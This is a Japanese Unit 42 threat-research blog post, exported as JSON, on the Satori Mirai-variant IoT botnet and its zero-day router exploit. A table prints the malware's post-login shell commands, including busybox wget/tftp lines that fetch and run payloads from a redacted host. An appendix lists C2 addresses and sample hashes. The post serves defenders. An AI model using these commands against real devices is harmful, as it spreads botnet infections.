{"id":104212,"date":"2018-01-11T13:00:56","date_gmt":"2018-01-11T21:00:56","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=104212"},"modified":"2020-02-05T00:33:54","modified_gmt":"2020-02-05T08:33:54","slug":"unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability\/","title":{"rendered":"\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3066\u30db\u30fc\u30e0 \u30eb\u30fc\u30bf\u3092\u30dc\u30c3\u30c8\u5316\u3059\u308b\u3001\u9032\u5316\u3057\u305fIoT\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u767b\u5834"},"content":{"rendered":"

<\/a>\u6982\u8981<\/h2>\n

2017\u5e7412\u6708\u306e\u521d\u3081\u306b\u3001360 Netlab\u306f\u3001\u65b0\u3057\u3044\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u3092\u767a\u898b\u3057\u3001Satori<\/a>\u3068\u547d\u540d\u3057\u307e\u3057\u305f\u3002Satori\u306f\u3001Mirai\u306e\u4e9c\u7a2e\u3067\u3001\u6b21\u306e2\u3064\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u307e\u3059\u30021\u3064\u306fCVE-2014-8361<\/a>\u3067\u3001Realtek SDK\u306b\u304a\u3051\u308bminiigd SOAP\u30b5\u30fc\u30d3\u30b9\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027\u3067\u3059\u3002\u3082\u30461\u3064\u306f\u3001CVE 2017-17215<\/a>\u3067\u30012017\u5e7412\u6708\u306e\u521d\u3081\u306b\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u305f<\/a>\u3001Huawei\u88fd\u306eHG532e\u30db\u30fc\u30e0 \u30b2\u30fc\u30c8\u30a6\u30a7\u30a4\u3067\u65b0\u305f\u306b\u898b\u3064\u304b\u3063\u305f\u8106\u5f31\u6027\u3067\u3059\u3002<\/p>\n

Palo Alto Networks\u306eUnit 42\u304cSatori\u3092\u8abf\u67fb\u3057\u305f\u7d50\u679c\u3001Satori\u306e\u4e9c\u7a2e\u304c3\u3064\u5b58\u5728\u3059\u308b\u3053\u3068\u304c\u3001\u5f0a\u793e\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9 \u30c7\u30fc\u30bf\u304b\u3089\u308f\u304b\u308a\u307e\u3057\u305f\u30023\u3064\u306e\u4e9c\u7a2e\u306e\u3046\u3061\u6700\u521d\u306e\u3082\u306e\u306f\u3001\u6700\u65b0\u306e\u653b\u6483\u304b\u30898\u30f6\u6708\u524d\u306e2017\u5e744\u6708\u306b\u767a\u751f\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n

\u307e\u305f\u3001CVE 2017-17215<\/a>\u3092\u60aa\u7528\u3059\u308b\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSatori\u304c\u6d3b\u52d5\u3092\u958b\u59cb\u3057\u305f\u306e\u306f\u3001Huawei\u306b\u3088\u308a\u8106\u5f31\u6027\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u308b\u524d\u306e\u30012017\u5e7411\u6708\u5f8c\u534a\u3067\u3042\u308b\u3053\u3068\u3082\u78ba\u8a8d\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306eSatori\u304c\u5178\u578b\u7684\u306a\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u3042\u3063\u305f\u3053\u3068\u3092\u610f\u5473\u3057\u307e\u3059\u3002\u3064\u307e\u308a\u3001\u30d1\u30c3\u30c1\u304c\u307e\u3060\u7528\u610f\u3055\u308c\u3066\u304a\u3089\u305a\u3001\u5f53\u521d\u306f\u672a\u77e5\u3067\u3042\u3063\u305f\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u653b\u6483\u3060\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n

Satori\u306e\u9032\u5316\u3092\u5206\u6790\u3059\u308b\u3053\u3068\u3067\u3001\u5f0a\u793e\u306f\u3001\u591a\u304f\u306eIoT\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3060\u3051\u3067\u306a\u304f\u3001\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3082\u53ef\u80fd\u3068\u306a\u308b\u3088\u3046\u306b\u9032\u5316\u3057\u3066\u3044\u308b\u3068\u3044\u3046\u78ba\u8a3c\u3092\u5f97\u307e\u3057\u305f\u3002<\/p>\n

Gafgyt\u306a\u3069\u306e\u521d\u671f\u306eIoT\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u3084\u5143\u306eMirai\u30d5\u30a1\u30df\u30ea\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3001\u3042\u308b\u3044\u306f\u8ca7\u5f31\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u30c7\u30d0\u30a4\u30b9\u3092\u653b\u6483\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u5bfe\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u3084\u30e1\u30fc\u30ab\u30fc\u306f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5909\u66f4\u3057\u3001\u3088\u308a\u5f37\u56fa\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u305d\u308c\u3089\u306e\u653b\u6483\u3092\u963b\u6b62\u3057\u3088\u3046\u3068\u3057\u307e\u3057\u305f\u3002<\/p>\n

Amnesia<\/a>\u3084IoT_Reaper<\/a>\u30d5\u30a1\u30df\u30ea\u306a\u3069\u306e\u4f5c\u6210\u8005\u306e\u3088\u3046\u306b\u3001\u4e00\u90e8\u306eIoT\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u4f5c\u6210\u8005\u306f\u3001\u7279\u5b9a\u306eIoT\u30c7\u30d0\u30a4\u30b9\u306e\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3088\u3046\u306b\u6226\u7565\u3092\u5909\u3048\u3066\u5bfe\u6297\u3057\u307e\u3057\u305f\u3002\u5f53\u7136\u306e\u3053\u3068\u306a\u304c\u3089\u3001IoT\u30d9\u30f3\u30c0\u30fc\u306f\u3001\u8106\u5f31\u6027\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3059\u308b\u3053\u3068\u3067\u5bfe\u6297\u3057\u307e\u3057\u305f\u3002<\/p>\n

\u3053\u3046\u3057\u305f\u3053\u3068\u304b\u3089\u3001\u653b\u6483\u8005\u304c\u6b21\u306b\u3001\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u306a\u3044\u672a\u77e5\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u5178\u578b\u7684\u306a\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3092\u884c\u3046\u3088\u3046\u306b\u306a\u3063\u305f\u306e\u306f\u3001\u81ea\u7136\u306a\u6d41\u308c\u3068\u3044\u3048\u308b\u3067\u3057\u3087\u3046\u3002<\/p>\n

\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001Satori\u304c\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u3001\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u6a19\u7684\u3068\u3059\u308bIoT\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u306b\u307e\u3067\u9032\u5316\u3057\u305f\u304b\u306b\u3064\u3044\u3066\u3001\u7c21\u5358\u306b\u3054\u8aac\u660e\u3057\u3001Mirai\u306e\u4e9c\u7a2e\u3067\u3042\u308bSatori\u304c\u3001\u3069\u306e\u3088\u3046\u306b\u3057\u3066Mirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306e\u4e00\u90e8\u3092\u518d\u4f7f\u7528\u3057\u3001telnet\u30b9\u30ad\u30e3\u30cb\u30f3\u30b0\u3084\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30d6\u30eb\u30fc\u30c8 \u30d5\u30a9\u30fc\u30b9\u653b\u6483\u3068\u3044\u3063\u305f\u6a5f\u80fd\u3092\u5b9f\u884c\u3059\u308b\u304b\u3092\u304a\u4f1d\u3048\u3057\u307e\u3059\u3002Satori\u306f\u3001IoT\u30c7\u30d0\u30a4\u30b9\u306e\u7a2e\u985e\u3092\u8b58\u5225\u3057\u3001\u30c7\u30d0\u30a4\u30b9\u306e\u7a2e\u985e\u306b\u5fdc\u3058\u3066\u7570\u306a\u308b\u52d5\u4f5c\u3082\u3057\u307e\u3059\u3002\u5f0a\u793e\u3067\u306f\u3001Satori\u306e\u4f5c\u6210\u8005\u306f\u6700\u521d\u306b\u591a\u6570\u306eIoT\u30c7\u30d0\u30a4\u30b9\u306e\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30d0\u30fc\u30b9 \u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u3092\u884c\u3044\u3001\u30c7\u30d0\u30a4\u30b9\u306e\u4e00\u822c\u7684\u306a\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3066\u65b0\u3057\u3044\u8106\u5f31\u6027\u3092\u767a\u898b\u3057\u305f\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u3068\u304a\u308a\u306a\u3089\u3070\u3001\u5c06\u6765\u7684\u306b\u306f\u4ed6\u306e\u3055\u307e\u3056\u307e\u306a\u30c7\u30d0\u30a4\u30b9\u3067\u3082\u3001\u672a\u77e5\u306e\u8106\u5f31\u6027\u3092\u653b\u6483\u3059\u308bSatori\u306e\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u767b\u5834\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n

Satori\u306e\u9032\u5316<\/h3>\n

2017\u5e744\u6708\u304b\u3089\u3001Satori\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3088\u308b\u653b\u6483\u304c\u78ba\u8a8d\u3055\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u00a0 \u5f0a\u793e\u304c\u53ce\u96c6\u3057\u305f\u653b\u6483\u30ed\u30b0\u304a\u3088\u3073\u30b5\u30f3\u30d7\u30eb\u5206\u6790\u7d50\u679c\u306e\u89e3\u6790\u306b\u3088\u3063\u3066\u3001Satori\u30d5\u30a1\u30df\u30ea\u306b\u306f\u56f31\u306b\u793a\u30593\u3064\u306e\u4e3b\u306a\u4e9c\u7a2e\u304c\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u00a0 \u5f0a\u793e\u306e\u5206\u6790\u306b\u3088\u308b\u3068\u3001\u88681\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u3053\u308c\u30893\u3064\u306e\u4e9c\u7a2e\u306f\u305d\u308c\u305e\u308c\u5225\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n

 <\/p>\n

<\/p>\n

\u56f31 \u3053\u308c\u307e\u3067\u306eSatori\u30d5\u30a1\u30df\u30ea\u306e\u9032\u5316<\/span><\/p>\n

1\u756a\u76ee\u306e\u4e9c\u7a2e\u306f\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3001\u3055\u307e\u3056\u307e\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u8a66\u3057\u3066\u3001telnet\u30ed\u30b0\u30a4\u30f3\u3067\u8106\u5f31\u306aIP\u30a2\u30c9\u30ec\u30b9\u306e\u30c1\u30a7\u30c3\u30af\u3092\u884c\u3046\u3060\u3051\u3067\u3059\u3002\u30ed\u30b0\u30a4\u30f3\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u30b7\u30a7\u30eb \u30a2\u30af\u30bb\u30b9\u3092\u6709\u52b9\u306b\u3057\u3066\u304b\u3089\u3001\/bin\/busybox satori \u307e\u305f\u306f\/bin\/busybox SATORI\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3060\u3051\u3067\u3059\u3002<\/p>\n

2\u756a\u76ee\u306e\u4e9c\u7a2e\u306f\u3001\u304a\u305d\u3089\u304f\u9759\u7684\u691c\u51fa\u3092\u56de\u907f\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u30d1\u30c3\u30ab\u30fc\u304c\u8ffd\u52a0\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001\u653b\u6483\u8005\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u8f9e\u66f8\u306b\u3001\u300caquario\u300d\u3068\u3044\u3046\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u8ffd\u52a0\u3057\u3066\u304a\u308a(\u56f32\u53c2\u7167)\u3001\u5fc5\u305a\u300caquario\u300d\u3067\u6700\u521d\u306e\u30ed\u30b0\u30a4\u30f3\u3092\u8a66\u884c\u3057\u307e\u3059\u3002\u300caquario\u300d\u306f\u3001\u5357\u7c73\u3067\u5229\u7528\u306e\u591a\u3044\u3042\u308b\u30ef\u30a4\u30e4\u30ec\u30b9 \u30eb\u30fc\u30bf\u306e\u30c7\u30d5\u30a9\u30eb\u30c8 \u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u3042\u308b\u3053\u3068\u304b\u3089\u3001\u3053\u306e\u653b\u6483\u8005\u304c\u610f\u56f3\u7684\u306b\u5357\u7c73\u304b\u3089\u30dc\u30c3\u30c8\u53ce\u96c6\u3092\u958b\u59cb\u3057\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n

3\u756a\u76ee\u306e\u4e9c\u7a2e\u306f\u3001\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027(CVE-2017-17215<\/a>)\u3092\u542b\u3080\u30012\u3064\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u3092\u72d9\u3063\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u30022\u756a\u76ee\u306e\u4e9c\u7a2e\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u4e00\u90e8\u3067\u306f\u30013\u756a\u76ee\u306e\u4e9c\u7a2e\u3067\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308b\u30b3\u30de\u30f3\u30c9\u3068\u540c\u3058\u30b3\u30de\u30f3\u30c9\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059(\u56f33\u53c2\u7167)\u3002<\/p>\n\n\n\n\n\n\n
\u4e9c\u7a2e<\/strong><\/td>\n\u653b\u6483<\/strong><\/td>\n\u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<\/tr>\n
1\u756a\u76ee<\/td>\n2223\u30dd\u30fc\u30c8\u3078\u306eTelnet\u653b\u6483<\/td>\nenable<\/p>\n

system<\/p>\n

shell<\/p>\n

sh<\/p>\n

\/bin\/busybox satori (\u307e\u305f\u306f \/bin\/busybox SATORI)<\/td>\n<\/tr>\n

2\u756a\u76ee<\/td>\n23\u30dd\u30fc\u30c8\u307e\u305f\u306f2223\u30dd\u30fc\u30c8\u3078\u306eTelnet\u653b\u6483<\/td>\nenable<\/p>\n

system<\/p>\n

shell<\/p>\n

sh<\/p>\n

ping ; sh<\/p>\n

\/bin\/busybox SATORI (\u307e\u305f\u306f \/bin\/busybox OKIRU)<\/p>\n

>DIR<\/strong>\/.file && cd<\/p>\n

>DIR<\/strong>\/.file && cd DIR<\/strong> && \/bin\/busybox rm \u2013rf .file<\/p>\n

(DIR<\/strong> = ['\/dev\/netslink\/', '\/var\/tmp\/', '\/tmp\/', '\/var\/', '\/home', '\/', '.\/', '\/dev\/', '\/mnt\/', '\/boot\/', '\/dev\/shm\/', '\/usr\/'])<\/p>\n

\/bin\/busybox rm -rf .okiru.dropper .okiru.binary .file<\/p>\n

\/bin\/busybox wget; \/bin\/busybox tftp; \/bin\/busybox NBVZA<\/p>\n

\/bin\/busybox wget; \/bin\/busybox tftp; \/bin\/busybox echo<\/p>\n

\/bin\/busybox cat \/bin\/busybox || while read i; do \/bin\/busybox echo $i; done < \/bin\/busybox || \/bin\/busybox dd if=\/bin\/busybox bs=22 count=1<\/p>\n

\/bin\/busybox cp \/bin\/busybox xhgyeshowm; \/bin\/busybox cp \/bin\/busybox gmlocerfno; >xhgyeshowm; >gmlocerfno; \/bin\/busybox chmod 777 xhgyeshowm gmlocerfno<\/p>\n

\/bin\/busybox wget http:\/\/xxx.xxx.xxx.xxx:xxx\/bins\/satori.arm<\/a> -O - > gmlocerfno; \/bin\/busybox chmod 777 gmlocerfno; .\/gmlocerfno arm; >gmlocerfno<\/p>\n

\/bin\/busybox tftp \u2013r satori.arm \u2013l gmlocerfno \u2013g xxx.xxx.xxx.xxx; \/bin\/busybox chmod 777 gmlocerfno; .\/gmlocerfno arm; >gmlocerfno<\/td>\n<\/tr>\n

3\u756a\u76ee<\/td>\n2\u3064\u306eRCE\u8106\u5f31\u6027\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/td>\nbusybox wget -g xxx.xxx.xxx.xxx -l \/tmp\/rsh -r \/okiru.mips ;chmod +x \/tmp\/rsh ;\/tmp\/rsh<\/p>\n

cd \/var\/; wget http:\/\/xxx.xxx.xxx.xxx\/rt.mips -O -> c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u88682 \u305d\u308c\u305e\u308c\u306e\u4e9c\u7a2e\u3067\u5b9f\u884c\u3055\u308c\u308b\u30b3\u30de\u30f3\u30c9<\/span><\/em><\/p>\n

<\/p>\n

\u56f32: aquario\u304c\u30d1\u30b9\u30ef\u30fc\u30c9\u8f9e\u66f8\u306b\u8ffd\u52a0<\/em><\/span><\/p>\n

<\/p>\n

\u56f33 \u30d0\u30fc\u30b8\u30e7\u30f32.0\u3068\u30d0\u30fc\u30b8\u30e7\u30f33.0\u306e\u4e21\u65b9\u306b\u3042\u308b\u30b3\u30de\u30f3\u30c9<\/em><\/span><\/p>\n

Mirai\u306e\u4e9c\u7a2e<\/strong><\/h3>\n

Mirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306f\u3001Github\u3067\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9\u3068\u3057\u3066\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u3001\u653b\u6483\u8005\u306f\u7c21\u5358\u306bMirai\u306e\u30b3\u30fc\u30c9\u3092\u518d\u4f7f\u7528\u3057\u3066\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af \u30b9\u30ad\u30e3\u30ca\u30fc\u3092\u5b9f\u88c5\u3057\u3001telnet\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30d6\u30eb\u30fc\u30c8 \u30d5\u30a9\u30fc\u30b9\u653b\u6483\u3084\u305d\u306e\u4ed6\u306e\u653b\u6483\u7528\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30d6\u30eb\u30fc\u30c8 \u30d5\u30a9\u30fc\u30b9 \u30ed\u30b0\u30a4\u30f3 \u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u5b9f\u88c5\u3067\u304d\u307e\u3059\u3002Satori\u30d5\u30a1\u30df\u30ea\u306f\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af \u30b9\u30ad\u30e3\u30ca\u30fc\u3084telnet\u30d1\u30b9\u30ef\u30fc\u30c9\u8a66\u884c\u3001watchdog\u7121\u52b9\u5316\u306a\u3069\u3001Mirai\u30b3\u30fc\u30c9\u306e\u4e00\u90e8\u3092\u518d\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059(\u56f3\uff14\u53c2\u7167)\u3002<\/p>\n

\u56f34\u00a0\u00a0 watchdog\u7121\u52b9\u5316<\/span><\/p>\n

\u307e\u305fSatori\u306f\u3001\/proc\u3092\u6a2a\u65ad\u691c\u7d22\u3057\u3066\u3001\/proc\/PID\/maps\u304a\u3088\u3073\/proc\/PID\/exe\u306b8\u7a2e\u985e\u306e\u6587\u5b57\u5217\u304c\u306a\u3044\u304b\u691c\u7d22\u3057\u3001\u305d\u308c\u3089\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3057\u307e\u3059(\u56f35\u53c2\u7167)\u30022\u756a\u76ee\u306e\u4e9c\u7a2e\u3067\u306f\u3001\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3059\u308b\u52d5\u4f5c\u304c\u30c7\u30d0\u30a4\u30b9\u3054\u3068\u306b\u7570\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u00a0 Satori\u306f\u3001\u540c\u3058\u65b9\u6cd5\u3067\/proc\u5185\u306e\/var\/Challenge\u3001 hi3511\u3001 \/mnt\/mtd\/app\/gui\u3001gmDVR\u3068\u3044\u3046\u30ad\u30fc\u30ef\u30fc\u30c9\u3092\u691c\u7d22\u3057\u3066\u4fb5\u5bb3\u3055\u308c\u305f\u30c7\u30d0\u30a4\u30b9\u304c\u7279\u5b9a\u306e\u30c7\u30d0\u30a4\u30b9 \u30bf\u30a4\u30d7\u306b\u8a72\u5f53\u3059\u308b\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u3053\u308c\u3089\u306b\u8a72\u5f53\u3059\u308b4\u3064\u306eIoT\u30c7\u30d0\u30a4\u30b9\u3067\u306f\u3001Satori\u306f\u3001\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3057\u307e\u305b\u3093\u3002\u3053\u306e4\u3064\u306e\u6587\u5b57\u5217\u304b\u3089\u3001Satori\u306e\u4f5c\u6210\u8005\u306f\u3001\u5c06\u6765\u306e\u653b\u6483\u7528\u306b\u3001IoT\u30c7\u30d0\u30a4\u30b9\u306e\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u6700\u521d\u306b\u30ea\u30d0\u30fc\u30b9 \u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u3057\u3066\u3001\u30c7\u30d0\u30a4\u30b9 \u30bf\u30a4\u30d7\u3092\u8b58\u5225\u3057\u305f\u3068\u5f0a\u793e\u306f\u8003\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n

<\/p>\n

\u56f35 \u30d7\u30ed\u30bb\u30b9\u306e\u30c1\u30a7\u30c3\u30af\u3068\u5f37\u5236\u7d42\u4e86<\/span><\/p>\n

\u7d50\u8ad6<\/h2>\n

Satori\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u306f\u3001IoT\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u3001\u5358\u7d14\u306a\u30d1\u30b9\u30ef\u30fc\u30c9 \u30d6\u30eb\u30fc\u30c8 \u30d5\u30a9\u30fc\u30b9\u653b\u6483\u304b\u3089\u3001\u8106\u5f31\u6027\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u653b\u6483\u306b\u9032\u5316\u3057\u7d9a\u3051\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002IoT\u30de\u30eb\u30a6\u30a7\u30a2\u4f5c\u6210\u8005\u306b\u3068\u3063\u3066\u3001Mirai\u306e\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9 \u30b3\u30fc\u30c9\u304c\u3001\u65b0\u3057\u3044\u4e9c\u7a2e\u3092\u958b\u767a\u3059\u308b\u305f\u3081\u306e\u7d76\u597d\u306e\u8db3\u304c\u304b\u308a\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u4eca\u5f8c\u3082\u3001IoT\u30de\u30eb\u30a6\u30a7\u30a2\u4f5c\u6210\u8005\u304c\u3001\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u3092\u767a\u898b\u3059\u308b\u3053\u3068\u306b\u3088\u308aIoT\u30c7\u30d0\u30a4\u30b9\u3092\u653b\u6483\u3059\u308b\u50be\u5411\u306f\u307e\u3059\u307e\u3059\u5f37\u307e\u308b\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u00a0<\/strong><\/p>\n

Palo Alto Networks\u306f\u3001Satori\u304c\u60aa\u7528\u3059\u308b\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308bIPS\u30b7\u30b0\u30cd\u30c1\u30e3(37896)\u3092\u30ea\u30ea\u30fc\u30b9\u6e08\u307f\u3067\u3059\u3002\u307e\u305f\u3001WildFire\u306f\u3001Satori\u30b5\u30f3\u30d7\u30eb\u3092\u691c\u51fa\u3067\u304d\u308b\u3088\u3046\u5bfe\u5fdc\u6e08\u307f\u3067\u3001\u4ee5\u4e0b\u306eC2\u30a2\u30c9\u30ec\u30b9\u304c\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u3057\u3066\u5206\u985e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u00a0 AutoFocus\u3092\u3054\u4f7f\u7528\u306e\u304a\u5ba2\u69d8\u306f\u3001Satori<\/a>\u30bf\u30b0\u3067\u3001\u3053\u306e\u6d3b\u52d5\u3092\u8abf\u3079\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n

\u4ed8\u9332<\/strong><\/h2>\n

C2 (C&C) \u30b5\u30fc\u30d0\u30fc<\/strong><\/h3>\n
    \n
  • 185.47.62[.]133:8716<\/li>\n
  • 185.101.98[.]128:4312<\/li>\n
  • 185.130.104[.]171:7723<\/li>\n
  • 176.123.30[.]27:7723, 7645, 6651<\/li>\n<\/ul>\n

    SHA256<\/strong><\/h3>\n
      \n
    • c0057bcae877e08ffc187e97cad5b7926c4dba965526766857c2dc71dcfca003<\/li>\n
    • b2d7c864c6d5a6b06258fde41380dfa2753b67713db5cf82c15059b2490ea332<\/li>\n
    • e65827616c9b7c088ad9fa0651f14a3d4760add1f9f93019bca9bb08e8936f2a<\/li>\n
    • b0fba3aac1b434ba096502287249d59e63632e03a8b13d1d3927a5701e91cd7d<\/li>\n
    • d765067756a18b617a8879e6a3a75359881054debc1312a14920604f13791b94<\/li>\n
    • 58a1253909977bb4f0663c731fb8a1c4020a80f11cc528ee97a522ad7a588655<\/li>\n
    • 49969ff2f0005d1635a62be5961db43b299d1e58564dd8a95b2b1a0a707f3e15<\/li>\n
    • 56b91deec7b67544b22527cd72308b8bf59bda8a9c668aed9c13399c97402981<\/li>\n
    • 3ce224d060acfb7b6ded32a5d482b816b13e085ebebabd78b535759cc929e592<\/li>\n
    • 5256d20eaa4480d971acf6b53e56d638366049b3af7fae63f148cb3a4ad0f9a6<\/li>\n
    • 233d6fa6c2769347fb8ce6f59ce761b25a1a44923e5bd9774779b8b495607cd8<\/li>\n
    • 5450a6b94fa94561d4869ce42689d04377b823d9243adf0ead7bb5f1eac73422<\/li>\n
    • dc466d8b3dc48194079ecbaf1f464ae6bf73b733945b6e2c39d30dd63cdb380c<\/li>\n
    • 246337c0e850ad3ab88141a756c698c2088ebb52ff8bede7c785a97204cb4e29<\/li>\n
    • ebcd46c888eebfb173932ba9cf03afde10493d0d61fa4b99874427512f410c49<\/li>\n
    • 2d706350c6f6392865bb550106ba5b3c39f7e2afc3d8683e4d8676b4e284adc2<\/li>\n
    • 184ba48be43f13e9a85c26e6ae19363317e5e7b770e8010d04302913b224737a<\/li>\n
    • 18c62166a0ced40f36294953ec3b71f7574f186d68cf62e55b6298cd3d1d2a15<\/li>\n
    • 340b579b88d1cd71ae4f77f82ea6816b92c915d8e59cdc4b3c3d015a4ad028d3<\/li>\n
    • 1412d0af18e936d5561428d357de2453160fab7a3e91da1dc048881e1dd3be42<\/li>\n
    • 14c294b3acb095e786fbed8964002a3b9a7a2a92ed7bc06ec5dde9f3f2ace328<\/li>\n
    • c46c4495877837f062894c746dca141f96884c1a0145ce762417be04178ca3ca<\/li>\n
    • da4646deb21a64303e65313082c8e4a4fb4a4e70d502e5d27c73c68531063adb<\/li>\n
    • 532b0a6983dcd0aed47fa4df2a8408de4c4a3722302acfe63a4920389406740a<\/li>\n
    • b550d5c6cb398706e52c4c765a6729bb276b72816559e18c6c82c99960ed7b8c<\/li>\n
    • ed6f6f7d3a2a189ce7d246b44e0e74dbf9d1e6e39f5d7a0a3666c2e65c4a1f0f<\/li>\n
